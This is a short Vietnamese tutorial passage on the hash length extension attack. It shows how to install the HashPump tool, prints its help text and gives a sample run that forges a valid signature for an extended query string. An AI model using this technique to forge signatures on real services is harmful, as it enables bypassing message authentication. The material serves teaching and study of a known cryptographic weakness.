Ý tưởng của kiểu tấn công này tương tự như cách tấn công vào SHA1-MAC mình đã trình bày phần trước. Tuy nhiên nó hỗ trợ nhiều kiểu hash khác như MD5, SHA1, SHA256, SHA512.

Dowload tại đây : https://github.com/bwall/HashPump

Cài đặt theo câu lệnh :

$ git clone https://github.com/bwall/HashPump.git
$ apt-get install g++ libssl-dev
$ cd HashPump
$ make
$ make install

Cách dùng :

$ hashpump -h
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
    HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
    -h --help          Display this message.
    -t --test          Run tests to verify each algorithm is operating properly.
    -s --signature     The signature from known message.
    -d --data          The data from the known message.
    -a --additional    The information you would like to add to the known message.
    -k --keylength     The length in bytes of the key being used to sign the original message with.
    Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
    <Developed by bwall(@botnet_hunter)>

Sample :

$ hashpump -s '6d5f807e23db210bc254a28be2d6759a0f5f5d99' --data 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' -a '&waffle=liege' -k 14
0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege